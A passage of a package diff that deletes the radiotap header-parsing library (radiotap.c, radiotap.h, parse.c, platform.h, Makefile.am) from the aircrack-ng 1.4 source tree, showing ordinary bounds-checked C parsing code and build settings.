-extern void * ti_priv(struct tif * ti);
-
-/* client routines */
-IMPORT char * ti_name(struct tif * ti);
-IMPORT int ti_set_mtu(struct tif * ti, int mtu);
-IMPORT int ti_get_mtu(struct tif * ti);
-IMPORT void ti_close(struct tif * ti);
-IMPORT int ti_fd(struct tif * ti);
-IMPORT int ti_read(struct tif * ti, void * buf, int len);
-IMPORT int ti_write(struct tif * ti, void * buf, int len);
-IMPORT int ti_set_mac(struct tif * ti, unsigned char * mac);
-IMPORT int ti_set_ip(struct tif * ti, struct in_addr * ip);
-
-#endif /* __AIRCRACK_NG_OSEDEP_H__ */

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/radiotap Deleted

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/radiotap/Makefile.am Deleted

@@ -1,54 +0,0 @@
-# Aircrack-ng
-#
-# Copyright (C) 2017 Joseph Benden <joe@benden.us>
-#
-# Autotool support was written by: Joseph Benden <joe@benden.us>
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-#
-# In addition, as a special exception, the copyright holders give
-# permission to link the code of portions of this program with the
-# OpenSSL library under certain conditions as described in each
-# individual source file, and distribute linked combinations
-# including the two.
-#
-# You must obey the GNU General Public License in all respects
-# for all of the code used other than OpenSSL.
-#
-# If you modify file(s) with this exception, you may extend this
-# exception to your dnl version of the file(s), but you are not obligated
-# to do so.
-#
-# If you dnl do not wish to do so, delete this exception statement from your
-# version.
-#
-# If you delete this exception statement from all source files in the
-# program, then also delete it here.
-
-AM_CPPFLAGS = -I$(top_srcdir) \
-              -I$(top_srcdir)/src/include \
-              -I$(top_srcdir)/src \
-              $(LIBNL_CFLAGS) \
-              $(GLIB_CFLAGS)
-
-libradiotap_la_SOURCES = radiotap.c
-libradiotap_la_LDFLAGS = -no-undefined
-
-noinst_LTLIBRARIES = libradiotap.la
-
-EXTRA_DIST = radiotap.h radiotap_iter.h platform.h
-
-
-@CODE_COVERAGE_RULES@

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/radiotap/README Deleted

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/radiotap/parse.c Deleted

@@ -1,164 +0,0 @@
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <endian.h>
-#include <errno.h>
-#include <string.h>
-#include "radiotap_iter.h"
-
-static int fcshdr = 0;
-
-static const struct radiotap_align_size align_size_000000_00[] = {
-	[0] = { .align = 1, .size = 4, },
-	[52] = { .align = 1, .size = 4, },
-};
-
-static const struct ieee80211_radiotap_namespace vns_array[] = {
-	{
-		.oui = 0x000000,
-		.subns = 0,
-		.n_bits = sizeof(align_size_000000_00),
-		.align_size = align_size_000000_00,
-	},
-};
-
-static const struct ieee80211_radiotap_vendor_namespaces vns = {
-	.ns = vns_array,
-	.n_ns = sizeof(vns_array)/sizeof(vns_array[0]),
-};
-
-static void print_radiotap_namespace(struct ieee80211_radiotap_iterator *iter)
-{
-	switch (iter->this_arg_index) {
-	case IEEE80211_RADIOTAP_TSFT:
-		printf("\tTSFT: %llu\n", le64toh(*(unsigned long long *)iter->this_arg));
-		break;
-	case IEEE80211_RADIOTAP_FLAGS:
-		printf("\tflags: %02x\n", *iter->this_arg);
-		break;
-	case IEEE80211_RADIOTAP_RATE:
-		printf("\trate: %lf\n", (double)*iter->this_arg/2);
-		break;
-	case IEEE80211_RADIOTAP_CHANNEL:
-	case IEEE80211_RADIOTAP_FHSS:
-	case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
-	case IEEE80211_RADIOTAP_DBM_ANTNOISE:
-	case IEEE80211_RADIOTAP_LOCK_QUALITY:
-	case IEEE80211_RADIOTAP_TX_ATTENUATION:
-	case IEEE80211_RADIOTAP_DB_TX_ATTENUATION:
-	case IEEE80211_RADIOTAP_DBM_TX_POWER:
-	case IEEE80211_RADIOTAP_ANTENNA:
-	case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
-	case IEEE80211_RADIOTAP_DB_ANTNOISE:
-	case IEEE80211_RADIOTAP_TX_FLAGS:
-		break;
-	case IEEE80211_RADIOTAP_RX_FLAGS:
-		if (fcshdr) {
-			printf("\tFCS in header: %.8x\n",
-				le32toh(*(uint32_t *)iter->this_arg));
-			break;
-		}
-		printf("\tRX flags: %#.4x\n",
-			le16toh(*(uint16_t *)iter->this_arg));
-		break;
-	case IEEE80211_RADIOTAP_RTS_RETRIES:
-	case IEEE80211_RADIOTAP_DATA_RETRIES:
-		break;
-	default:
-		printf("\tBOGUS DATA\n");
-		break;
-	}
-}
-
-static void print_test_namespace(struct ieee80211_radiotap_iterator *iter)
-{
-	switch (iter->this_arg_index) {
-	case 0:
-	case 52:
-		printf("\t00:00:00-00|%d: %.2x/%.2x/%.2x/%.2x\n",
-			iter->this_arg_index,
-			*iter->this_arg, *(iter->this_arg + 1),
-			*(iter->this_arg + 2), *(iter->this_arg + 3));
-		break;
-	default:
-		printf("\tBOGUS DATA - vendor ns %d\n", iter->this_arg_index);
-		break;
-	}
-}
-
-static const struct radiotap_override overrides[] = {
-	{ .field = 14, .align = 4, .size = 4, }
-};
-
-int main(int argc, char *argv[])
-{
-	struct ieee80211_radiotap_iterator iter;
-	struct stat statbuf;
-	int fd, err, fnidx = 1, i;
-	void *data;
-
-	if (argc != 2 && argc != 3) {
-		fprintf(stderr, "usage: parse [--fcshdr] <file>\n");
-		fprintf(stderr, "	--fcshdr: read bit 14 as FCS\n");
-		return 2;
-	}
-
-	if (strcmp(argv[1], "--fcshdr") == 0) {
-		fcshdr = 1;
-		fnidx++;
-	}
-
-	fd = open(argv[fnidx], O_RDONLY);
-	if (fd < 0) {
-		fprintf(stderr, "cannot open file %s\n", argv[fnidx]);
-		return 2;
-	}
-
-	if (fstat(fd, &statbuf)) {
-		perror("fstat");
-		return 2;
-	}
-
-	data = mmap(NULL, statbuf.st_size, PROT_READ, MAP_SHARED, fd, 0);
-
-	err = ieee80211_radiotap_iterator_init(&iter, data, statbuf.st_size, &vns);
-	if (err) {
-		printf("malformed radiotap header (init returns %d)\n", err);
-		return 3;
-	}
-
-	if (fcshdr) {
-		iter.overrides = overrides;
-		iter.n_overrides = sizeof(overrides)/sizeof(overrides[0]);
-	}
-
-	while (!(err = ieee80211_radiotap_iterator_next(&iter))) {
-		if (iter.this_arg_index == IEEE80211_RADIOTAP_VENDOR_NAMESPACE) {
-			printf("\tvendor NS (%.2x-%.2x-%.2x:%d, %d bytes)\n",
-				iter.this_arg[0], iter.this_arg[1],
-				iter.this_arg[2], iter.this_arg[3],
-				iter.this_arg_size - 6);
-			for (i = 6; i < iter.this_arg_size; i++) {
-				if (i % 8 == 6)
-					printf("\t\t");
-				else
-					printf(" ");
-				printf("%.2x", iter.this_arg[i]);
-			}
-			printf("\n");
-		} else if (iter.is_radiotap_ns)
-			print_radiotap_namespace(&iter);
-		else if (iter.current_namespace == &vns_array[0])
-			print_test_namespace(&iter);
-	}
-
-	if (err != -ENOENT) {
-		printf("malformed radiotap data\n");
-		return 3;
-	}
-
-	return 0;
-}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/radiotap/platform.h Deleted

@@ -1,45 +0,0 @@
-#include <stddef.h>
-#include <errno.h>
-#ifndef _BSD_SOURCE
-#define _BSD_SOURCE
-#endif
-#if defined(__FreeBSD__) || defined(__DragonFly__) || defined(__NetBSD__)
-	#include <sys/endian.h>
-#elif defined(__APPLE__)
-	#include <machine/endian.h>
-	#include <libkern/OSByteOrder.h>
-
-	#define htobe16(x) OSSwapHostToBigInt16(x)
-	#define htole16(x) OSSwapHostToLittleInt16(x)
-	#define be16toh(x) OSSwapBigToHostInt16(x)
-	#define le16toh(x) OSSwapLittleToHostInt16(x)
-
-	#define htobe32(x) OSSwapHostToBigInt32(x)
-	#define htole32(x) OSSwapHostToLittleInt32(x)
-	#define be32toh(x) OSSwapBigToHostInt32(x)
-	#define le32toh(x) OSSwapLittleToHostInt32(x)
-
-	#define htobe64(x) OSSwapHostToBigInt64(x)
-	#define htole64(x) OSSwapHostToLittleInt64(x)
-	#define be64toh(x) OSSwapBigToHostInt64(x)
-	#define le64toh(x) OSSwapLittleToHostInt64(x)
-
-	#define __BIG_ENDIAN    BIG_ENDIAN
-	#define __LITTLE_ENDIAN LITTLE_ENDIAN
-	#define __BYTE_ORDER    BYTE_ORDER
-#elif !defined(__sun__)
-	#include <endian.h>
-#endif
-
-#define le16_to_cpu		le16toh
-#define le32_to_cpu		le32toh
-#define get_unaligned(p)					\
-({								\
-	struct packed_dummy_struct {				\
-		typeof(*(p)) __val;				\
-	} __attribute__((packed)) *__ptr = (void *) (p);	\
-								\
-	__ptr->__val;						\
-})
-#define get_unaligned_le16(p)	le16_to_cpu(get_unaligned((uint16_t *)(p)))
-#define get_unaligned_le32(p)	le32_to_cpu(get_unaligned((uint32_t *)(p)))

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/radiotap/radiotap.c Deleted

@@ -1,395 +0,0 @@
-/*
- * Radiotap parser
- *
- * Copyright 2007		Andy Green <andy@warmcat.com>
- * Copyright 2009		Johannes Berg <johannes@sipsolutions.net>
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License version 2 as
- * published by the Free Software Foundation.
- *
- * Alternatively, this software may be distributed under the terms of ISC
- * license, see COPYING for more details.
- */
-#include "radiotap_iter.h"
-#include "platform.h"
-
-/* function prototypes and related defs are in radiotap_iter.h */
-
-static const struct radiotap_align_size rtap_namespace_sizes[] = {
-	[IEEE80211_RADIOTAP_TSFT] = { .align = 8, .size = 8, },
-	[IEEE80211_RADIOTAP_FLAGS] = { .align = 1, .size = 1, },
-	[IEEE80211_RADIOTAP_RATE] = { .align = 1, .size = 1, },
-	[IEEE80211_RADIOTAP_CHANNEL] = { .align = 2, .size = 4, },
-	[IEEE80211_RADIOTAP_FHSS] = { .align = 2, .size = 2, },
-	[IEEE80211_RADIOTAP_DBM_ANTSIGNAL] = { .align = 1, .size = 1, },
-	[IEEE80211_RADIOTAP_DBM_ANTNOISE] = { .align = 1, .size = 1, },
-	[IEEE80211_RADIOTAP_LOCK_QUALITY] = { .align = 2, .size = 2, },
-	[IEEE80211_RADIOTAP_TX_ATTENUATION] = { .align = 2, .size = 2, },
-	[IEEE80211_RADIOTAP_DB_TX_ATTENUATION] = { .align = 2, .size = 2, },
-	[IEEE80211_RADIOTAP_DBM_TX_POWER] = { .align = 1, .size = 1, },
-	[IEEE80211_RADIOTAP_ANTENNA] = { .align = 1, .size = 1, },
-	[IEEE80211_RADIOTAP_DB_ANTSIGNAL] = { .align = 1, .size = 1, },
-	[IEEE80211_RADIOTAP_DB_ANTNOISE] = { .align = 1, .size = 1, },
-	[IEEE80211_RADIOTAP_RX_FLAGS] = { .align = 2, .size = 2, },
-	[IEEE80211_RADIOTAP_TX_FLAGS] = { .align = 2, .size = 2, },
-	[IEEE80211_RADIOTAP_RTS_RETRIES] = { .align = 1, .size = 1, },
-	[IEEE80211_RADIOTAP_DATA_RETRIES] = { .align = 1, .size = 1, },
-	[IEEE80211_RADIOTAP_MCS] = { .align = 1, .size = 3, },
-	[IEEE80211_RADIOTAP_AMPDU_STATUS] = { .align = 4, .size = 8, },
-	[IEEE80211_RADIOTAP_VHT] = { .align = 2, .size = 12, },
-	[IEEE80211_RADIOTAP_TIMESTAMP] = { .align = 8, .size = 12, },
-	/*
-	 * add more here as they are defined in radiotap.h
-	 */
-};
-
-static const struct ieee80211_radiotap_namespace radiotap_ns = {
-	.n_bits = sizeof(rtap_namespace_sizes) / sizeof(rtap_namespace_sizes[0]),
-	.align_size = rtap_namespace_sizes,
-};
-
-/**
- * ieee80211_radiotap_iterator_init - radiotap parser iterator initialization
- * @iterator: radiotap_iterator to initialize
- * @radiotap_header: radiotap header to parse
- * @max_length: total length we can parse into (eg, whole packet length)
- *
- * Returns: 0 or a negative error code if there is a problem.
- *
- * This function initializes an opaque iterator struct which can then
- * be passed to ieee80211_radiotap_iterator_next() to visit every radiotap
- * argument which is present in the header.  It knows about extended
- * present headers and handles them.
- *
- * How to use:
- * call __ieee80211_radiotap_iterator_init() to init a semi-opaque iterator
- * struct ieee80211_radiotap_iterator (no need to init the struct beforehand)
- * checking for a good 0 return code.  Then loop calling
- * __ieee80211_radiotap_iterator_next()... it returns either 0,
- * -ENOENT if there are no more args to parse, or -EINVAL if there is a problem.
- * The iterator's @this_arg member points to the start of the argument
- * associated with the current argument index that is present, which can be
- * found in the iterator's @this_arg_index member.  This arg index corresponds
- * to the IEEE80211_RADIOTAP_... defines.
- *
- * Radiotap header length:
- * You can find the CPU-endian total radiotap header length in
- * iterator->max_length after executing ieee80211_radiotap_iterator_init()
- * successfully.
- *
- * Alignment Gotcha:
- * You must take care when dereferencing iterator.this_arg
- * for multibyte types... the pointer is not aligned.  Use
- * get_unaligned((type *)iterator.this_arg) to dereference
- * iterator.this_arg for type "type" safely on all arches.
- *
- * Example code: parse.c
- */
-
-EXPORT
-int ieee80211_radiotap_iterator_init(
-	struct ieee80211_radiotap_iterator *iterator,
-	struct ieee80211_radiotap_header *radiotap_header,
-	int max_length, const struct ieee80211_radiotap_vendor_namespaces *vns)
-{
-	/* must at least have the radiotap header */
-	if (max_length < (int)sizeof(struct ieee80211_radiotap_header))
-		return -EINVAL;
-
-	/* Linux only supports version 0 radiotap format */
-	if (radiotap_header->it_version)
-		return -EINVAL;
-
-	/* sanity check for allowed length and radiotap length field */
-	if (max_length < get_unaligned_le16(&radiotap_header->it_len))
-		return -EINVAL;
-
-	iterator->_rtheader = radiotap_header;
-	iterator->_max_length = get_unaligned_le16(&radiotap_header->it_len);
-	iterator->_arg_index = 0;
-	iterator->_bitmap_shifter = get_unaligned_le32(&radiotap_header->it_present);
-	iterator->_arg = (uint8_t *)radiotap_header + sizeof(*radiotap_header);
-	iterator->_reset_on_ext = 0;
-	iterator->_next_bitmap = &radiotap_header->it_present;
-	iterator->_next_bitmap++;
-	iterator->_vns = vns;
-	iterator->current_namespace = &radiotap_ns;
-	iterator->is_radiotap_ns = 1;
-#ifdef RADIOTAP_SUPPORT_OVERRIDES
-	iterator->n_overrides = 0;
-	iterator->overrides = NULL;
-#endif
-
-	/* find payload start allowing for extended bitmap(s) */
-
-	if (iterator->_bitmap_shifter & (1<<IEEE80211_RADIOTAP_EXT)) {
-		if ((unsigned long)iterator->_arg -
-		    (unsigned long)iterator->_rtheader + sizeof(uint32_t) >
-		    (unsigned long)iterator->_max_length)
-			return -EINVAL;
-		while (get_unaligned_le32(iterator->_arg) &
-					(1 << IEEE80211_RADIOTAP_EXT)) {
-			iterator->_arg += sizeof(uint32_t);
-
-			/*
-			 * check for insanity where the present bitmaps
-			 * keep claiming to extend up to or even beyond the
-			 * stated radiotap header length
-			 */
-
-			if ((unsigned long)iterator->_arg -
-			    (unsigned long)iterator->_rtheader +
-			    sizeof(uint32_t) >
-			    (unsigned long)iterator->_max_length)
-				return -EINVAL;
-		}
-
-		iterator->_arg += sizeof(uint32_t);
-
-		/*
-		 * no need to check again for blowing past stated radiotap
-		 * header length, because ieee80211_radiotap_iterator_next
-		 * checks it before it is dereferenced
-		 */
-	}
-
-	iterator->this_arg = iterator->_arg;
-
-	/* we are all initialized happily */
-
-	return 0;
-}
-
-static void find_ns(struct ieee80211_radiotap_iterator *iterator,
-		    uint32_t oui, uint8_t subns)
-{
-	int i;
-
-	iterator->current_namespace = NULL;
-
-	if (!iterator->_vns)
-		return;
-
-	for (i = 0; i < iterator->_vns->n_ns; i++) {
-		if (iterator->_vns->ns[i].oui != oui)
-			continue;
-		if (iterator->_vns->ns[i].subns != subns)
-			continue;
-
-		iterator->current_namespace = &iterator->_vns->ns[i];
-		break;
-	}
-}
-
-#ifdef RADIOTAP_SUPPORT_OVERRIDES
-static int find_override(struct ieee80211_radiotap_iterator *iterator,
-			 int *align, int *size)
-{
-	int i;
-
-	if (!iterator->overrides)
-		return 0;
-
-	for (i = 0; i < iterator->n_overrides; i++) {
-		if (iterator->_arg_index == iterator->overrides[i].field) {
-			*align = iterator->overrides[i].align;
-			*size = iterator->overrides[i].size;
-			if (!*align) /* erroneous override */
-				return 0;
-			return 1;
-		}
-	}
-
-	return 0;
-}
-#endif
-
-
-/**
- * ieee80211_radiotap_iterator_next - return next radiotap parser iterator arg
- * @iterator: radiotap_iterator to move to next arg (if any)
- *
- * Returns: 0 if there is an argument to handle,
- * -ENOENT if there are no more args or -EINVAL
- * if there is something else wrong.
- *
- * This function provides the next radiotap arg index (IEEE80211_RADIOTAP_*)
- * in @this_arg_index and sets @this_arg to point to the
- * payload for the field.  It takes care of alignment handling and extended
- * present fields.  @this_arg can be changed by the caller (eg,
- * incremented to move inside a compound argument like
- * IEEE80211_RADIOTAP_CHANNEL).  The args pointed to are in
- * little-endian format whatever the endianness of your CPU.
- *
- * Alignment Gotcha:
- * You must take care when dereferencing iterator.this_arg
- * for multibyte types... the pointer is not aligned.  Use
- * get_unaligned((type *)iterator.this_arg) to dereference
- * iterator.this_arg for type "type" safely on all arches.
- */
-
-EXPORT
-int ieee80211_radiotap_iterator_next(
-	struct ieee80211_radiotap_iterator *iterator)
-{
-	while (1) {
-		int hit = 0;
-		int pad, align, size, subns;
-		uint32_t oui;
-
-		/* if no more EXT bits, that's it */
-		if ((iterator->_arg_index % 32) == IEEE80211_RADIOTAP_EXT &&
-		    !(iterator->_bitmap_shifter & 1))
-			return -ENOENT;
-
-		if (!(iterator->_bitmap_shifter & 1))
-			goto next_entry; /* arg not present */
-
-		/* get alignment/size of data */
-		switch (iterator->_arg_index % 32) {
-		case IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE:
-		case IEEE80211_RADIOTAP_EXT:
-			align = 1;
-			size = 0;
-			break;
-		case IEEE80211_RADIOTAP_VENDOR_NAMESPACE:
-			align = 2;
-			size = 6;
-			break;
-		default:
-#ifdef RADIOTAP_SUPPORT_OVERRIDES
-			if (find_override(iterator, &align, &size)) {
-				/* all set */
-			} else
-#endif
-			if (!iterator->current_namespace ||
-			    iterator->_arg_index >= iterator->current_namespace->n_bits) {
-				if (iterator->current_namespace == &radiotap_ns)
-					return -ENOENT;
-				align = 0;
-			} else {
-				align = iterator->current_namespace->align_size[iterator->_arg_index].align;
-				size = iterator->current_namespace->align_size[iterator->_arg_index].size;
-			}
-			if (!align) {
-				/* skip all subsequent data */
-				iterator->_arg = iterator->_next_ns_data;
-				/* give up on this namespace */
-				iterator->current_namespace = NULL;
-				goto next_entry;
-			}
-			break;
-		}
-
-		/*
-		 * arg is present, account for alignment padding
-		 *
-		 * Note that these alignments are relative to the start
-		 * of the radiotap header.  There is no guarantee
-		 * that the radiotap header itself is aligned on any
-		 * kind of boundary.
-		 *
-		 * The above is why get_unaligned() is used to dereference
-		 * multibyte elements from the radiotap area.
-		 */
-
-		pad = ((unsigned long)iterator->_arg -
-		       (unsigned long)iterator->_rtheader) & (align - 1);
-
-		if (pad)
-			iterator->_arg += align - pad;
-
-		if (iterator->_arg_index % 32 == IEEE80211_RADIOTAP_VENDOR_NAMESPACE) {
-			int vnslen;
-
-			if ((unsigned long)iterator->_arg + size -
-			    (unsigned long)iterator->_rtheader >
-			    (unsigned long)iterator->_max_length)
-				return -EINVAL;
-
-			oui = (*iterator->_arg << 16) |
-				(*(iterator->_arg + 1) << 8) |
-				*(iterator->_arg + 2);
-			subns = *(iterator->_arg + 3);
-
-			find_ns(iterator, oui, subns);
-
-			vnslen = get_unaligned_le16(iterator->_arg + 4);
-			iterator->_next_ns_data = iterator->_arg + size + vnslen;
-			if (!iterator->current_namespace)
-				size += vnslen;
-		}
-
-		/*
-		 * this is what we will return to user, but we need to
-		 * move on first so next call has something fresh to test
-		 */
-		iterator->this_arg_index = iterator->_arg_index;
-		iterator->this_arg = iterator->_arg;
-		iterator->this_arg_size = size;
-
-		/* internally move on the size of this arg */
-		iterator->_arg += size;
-
-		/*
-		 * check for insanity where we are given a bitmap that
-		 * claims to have more arg content than the length of the
-		 * radiotap section.  We will normally end up equalling this
-		 * max_length on the last arg, never exceeding it.
-		 */
-
-		if ((unsigned long)iterator->_arg -
-		    (unsigned long)iterator->_rtheader >
-		    (unsigned long)iterator->_max_length)
-			return -EINVAL;
-
-		/* these special ones are valid in each bitmap word */
-		switch (iterator->_arg_index % 32) {
-		case IEEE80211_RADIOTAP_VENDOR_NAMESPACE:
-			iterator->_reset_on_ext = 1;
-
-			iterator->is_radiotap_ns = 0;
-			/*
-			 * If parser didn't register this vendor
-			 * namespace with us, allow it to show it
-			 * as 'raw. Do do that, set argument index
-			 * to vendor namespace.
-			 */
-			iterator->this_arg_index =
-				IEEE80211_RADIOTAP_VENDOR_NAMESPACE;
-			if (!iterator->current_namespace)
-				hit = 1;
-			goto next_entry;
-		case IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE:
-			iterator->_reset_on_ext = 1;
-			iterator->current_namespace = &radiotap_ns;
-			iterator->is_radiotap_ns = 1;
-			goto next_entry;
-		case IEEE80211_RADIOTAP_EXT:
-			/*
-			 * bit 31 was set, there is more
-			 * -- move to next u32 bitmap
-			 */
-			iterator->_bitmap_shifter =
-				get_unaligned_le32(iterator->_next_bitmap);
-			iterator->_next_bitmap++;
-			if (iterator->_reset_on_ext)
-				iterator->_arg_index = 0;
-			else
-				iterator->_arg_index++;
-			iterator->_reset_on_ext = 0;
-			break;
-		default:
-			/* we've got a hit! */
-			hit = 1;
- next_entry:
-			iterator->_bitmap_shifter >>= 1;
-			iterator->_arg_index++;
-		}
-
-		/* if we found a valid arg earlier, return it now */
-		if (hit)
-			return 0;
-	}
-}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/radiotap/radiotap.h Deleted

@@ -1,200 +0,0 @@
-/*
- * Copyright (c) 2017		Intel Deutschland GmbH
- *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
- * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
- * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
- * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
- * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
- * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
- * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-#ifndef __RADIOTAP_H
-#define __RADIOTAP_H
-
-/**
- * struct ieee82011_radiotap_header - base radiotap header
- */
-struct ieee80211_radiotap_header {
-	/**
-	 * @it_version: radiotap version, always 0
-	 */
-	uint8_t it_version;
-
-	/**
-	 * @it_pad: padding (or alignment)
-	 */
-	uint8_t it_pad;
-
-	/**
-	 * @it_len: overall radiotap header length
-	 */
-	uint16_t it_len;
-
-	/**
-	 * @it_present: (first) present word
-	 */
-	uint32_t it_present;
-} __packed;
-
-/* version is always 0 */
-#define PKTHDR_RADIOTAP_VERSION	0
-
-/* see the radiotap website for the descriptions */
-enum ieee80211_radiotap_presence {
-	IEEE80211_RADIOTAP_TSFT = 0,
-	IEEE80211_RADIOTAP_FLAGS = 1,
-	IEEE80211_RADIOTAP_RATE = 2,
-	IEEE80211_RADIOTAP_CHANNEL = 3,
-	IEEE80211_RADIOTAP_FHSS = 4,
-	IEEE80211_RADIOTAP_DBM_ANTSIGNAL = 5,
-	IEEE80211_RADIOTAP_DBM_ANTNOISE = 6,
-	IEEE80211_RADIOTAP_LOCK_QUALITY = 7,
-	IEEE80211_RADIOTAP_TX_ATTENUATION = 8,
-	IEEE80211_RADIOTAP_DB_TX_ATTENUATION = 9,
-	IEEE80211_RADIOTAP_DBM_TX_POWER = 10,
-	IEEE80211_RADIOTAP_ANTENNA = 11,
-	IEEE80211_RADIOTAP_DB_ANTSIGNAL = 12,
-	IEEE80211_RADIOTAP_DB_ANTNOISE = 13,
-	IEEE80211_RADIOTAP_RX_FLAGS = 14,
-	IEEE80211_RADIOTAP_TX_FLAGS = 15,
-	IEEE80211_RADIOTAP_RTS_RETRIES = 16,
-	IEEE80211_RADIOTAP_DATA_RETRIES = 17,
-	/* 18 is XChannel, but it's not defined yet */
-	IEEE80211_RADIOTAP_MCS = 19,
-	IEEE80211_RADIOTAP_AMPDU_STATUS = 20,
-	IEEE80211_RADIOTAP_VHT = 21,
-	IEEE80211_RADIOTAP_TIMESTAMP = 22,
-
-	/* valid in every it_present bitmap, even vendor namespaces */
-	IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE = 29,
-	IEEE80211_RADIOTAP_VENDOR_NAMESPACE = 30,
-	IEEE80211_RADIOTAP_EXT = 31
-};
-
-/* for IEEE80211_RADIOTAP_FLAGS */
-enum ieee80211_radiotap_flags {
-	IEEE80211_RADIOTAP_F_CFP = 0x01,
-	IEEE80211_RADIOTAP_F_SHORTPRE = 0x02,
-	IEEE80211_RADIOTAP_F_WEP = 0x04,
-	IEEE80211_RADIOTAP_F_FRAG = 0x08,
-	IEEE80211_RADIOTAP_F_FCS = 0x10,
-	IEEE80211_RADIOTAP_F_DATAPAD = 0x20,
-	IEEE80211_RADIOTAP_F_BADFCS = 0x40,
-};
-
-/* for IEEE80211_RADIOTAP_CHANNEL */
-enum ieee80211_radiotap_channel_flags {
-	IEEE80211_CHAN_CCK = 0x0020,
-	IEEE80211_CHAN_OFDM = 0x0040,
-	IEEE80211_CHAN_2GHZ = 0x0080,
-	IEEE80211_CHAN_5GHZ = 0x0100,
-	IEEE80211_CHAN_DYN = 0x0400,
-	IEEE80211_CHAN_HALF = 0x4000,
-	IEEE80211_CHAN_QUARTER = 0x8000,
-};
-
-/* for IEEE80211_RADIOTAP_RX_FLAGS */
-enum ieee80211_radiotap_rx_flags {
-	IEEE80211_RADIOTAP_F_RX_BADPLCP = 0x0002,
-};
-
-/* for IEEE80211_RADIOTAP_TX_FLAGS */
-enum ieee80211_radiotap_tx_flags {
-	IEEE80211_RADIOTAP_F_TX_FAIL = 0x0001,
-	IEEE80211_RADIOTAP_F_TX_CTS = 0x0002,
-	IEEE80211_RADIOTAP_F_TX_RTS = 0x0004,
-	IEEE80211_RADIOTAP_F_TX_NOACK = 0x0008,
-};
-
-/* for IEEE80211_RADIOTAP_MCS "have" flags */
-enum ieee80211_radiotap_mcs_have {
-	IEEE80211_RADIOTAP_MCS_HAVE_BW = 0x01,
-	IEEE80211_RADIOTAP_MCS_HAVE_MCS = 0x02,
-	IEEE80211_RADIOTAP_MCS_HAVE_GI = 0x04,
-	IEEE80211_RADIOTAP_MCS_HAVE_FMT = 0x08,
-	IEEE80211_RADIOTAP_MCS_HAVE_FEC = 0x10,
-	IEEE80211_RADIOTAP_MCS_HAVE_STBC = 0x20,
-};
-
-enum ieee80211_radiotap_mcs_flags {
-	IEEE80211_RADIOTAP_MCS_BW_MASK = 0x03,
-	IEEE80211_RADIOTAP_MCS_BW_20 = 0,
-	IEEE80211_RADIOTAP_MCS_BW_40 = 1,
-	IEEE80211_RADIOTAP_MCS_BW_20L = 2,
-	IEEE80211_RADIOTAP_MCS_BW_20U = 3,
-
-	IEEE80211_RADIOTAP_MCS_SGI = 0x04,
-	IEEE80211_RADIOTAP_MCS_FMT_GF = 0x08,
-	IEEE80211_RADIOTAP_MCS_FEC_LDPC = 0x10,
-	IEEE80211_RADIOTAP_MCS_STBC_MASK = 0x60,
-	IEEE80211_RADIOTAP_MCS_STBC_1 = 1,
-	IEEE80211_RADIOTAP_MCS_STBC_2 = 2,
-	IEEE80211_RADIOTAP_MCS_STBC_3 = 3,
-	IEEE80211_RADIOTAP_MCS_STBC_SHIFT = 5,
-};
-
-/* for IEEE80211_RADIOTAP_AMPDU_STATUS */
-enum ieee80211_radiotap_ampdu_flags {
-	IEEE80211_RADIOTAP_AMPDU_REPORT_ZEROLEN = 0x0001,
-	IEEE80211_RADIOTAP_AMPDU_IS_ZEROLEN = 0x0002,
-	IEEE80211_RADIOTAP_AMPDU_LAST_KNOWN = 0x0004,
-	IEEE80211_RADIOTAP_AMPDU_IS_LAST = 0x0008,
-	IEEE80211_RADIOTAP_AMPDU_DELIM_CRC_ERR = 0x0010,
-	IEEE80211_RADIOTAP_AMPDU_DELIM_CRC_KNOWN = 0x0020,
-};
-
-/* for IEEE80211_RADIOTAP_VHT */
-enum ieee80211_radiotap_vht_known {
-	IEEE80211_RADIOTAP_VHT_KNOWN_STBC = 0x0001,
-	IEEE80211_RADIOTAP_VHT_KNOWN_TXOP_PS_NA = 0x0002,
-	IEEE80211_RADIOTAP_VHT_KNOWN_GI = 0x0004,
-	IEEE80211_RADIOTAP_VHT_KNOWN_SGI_NSYM_DIS = 0x0008,
-	IEEE80211_RADIOTAP_VHT_KNOWN_LDPC_EXTRA_OFDM_SYM = 0x0010,
-	IEEE80211_RADIOTAP_VHT_KNOWN_BEAMFORMED = 0x0020,
-	IEEE80211_RADIOTAP_VHT_KNOWN_BANDWIDTH = 0x0040,
